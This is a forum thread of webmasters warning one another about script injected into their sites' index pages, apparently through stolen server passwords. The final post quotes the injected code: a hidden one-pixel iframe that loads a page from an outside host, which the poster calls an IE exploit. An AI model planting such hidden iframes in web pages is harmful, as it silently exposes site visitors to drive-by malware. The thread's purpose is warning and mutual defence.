ALERT - New Exploits Appearing Today - Check Now
 

I first noticed that code had been added to two of my index pages this morning and it looked like my password for my server was compromised.

Just now I saw the same exploit on another members index page here - and he's removing it but its exactly the same - different host - but looks like someone has a list of usernames/passwords from a program or something that might match your server passwords (something that I forgot to change)

Im surfing a few of the LLs I know but havent seen it other than one other persons and they are fixing now

The other person was me, it was on boogie-blog.com

it has now been fixed, at least temporarily. I am hoping it stays fixed. trying to get m3server to respond aint the fastest thing in the world...

checking my other sites for it, thankfully nowhere found yet.

What is the nature of the exploit? Are we taking iframe toolbar installs or something worse?

Alex

i couldnt tell what the script was supposed to intstall, was a simple javascript code on my blog. its gone now so i cant even paste it here so you can figure out what it did :(

this was the code from earlier. Appears to be a new 0-day exploit in IE using XMLHTTP

9div style="visibility:hidden">9iframe src="http://dnv-counter.com/trf/" width=1 height=1>9/iframe>9/div>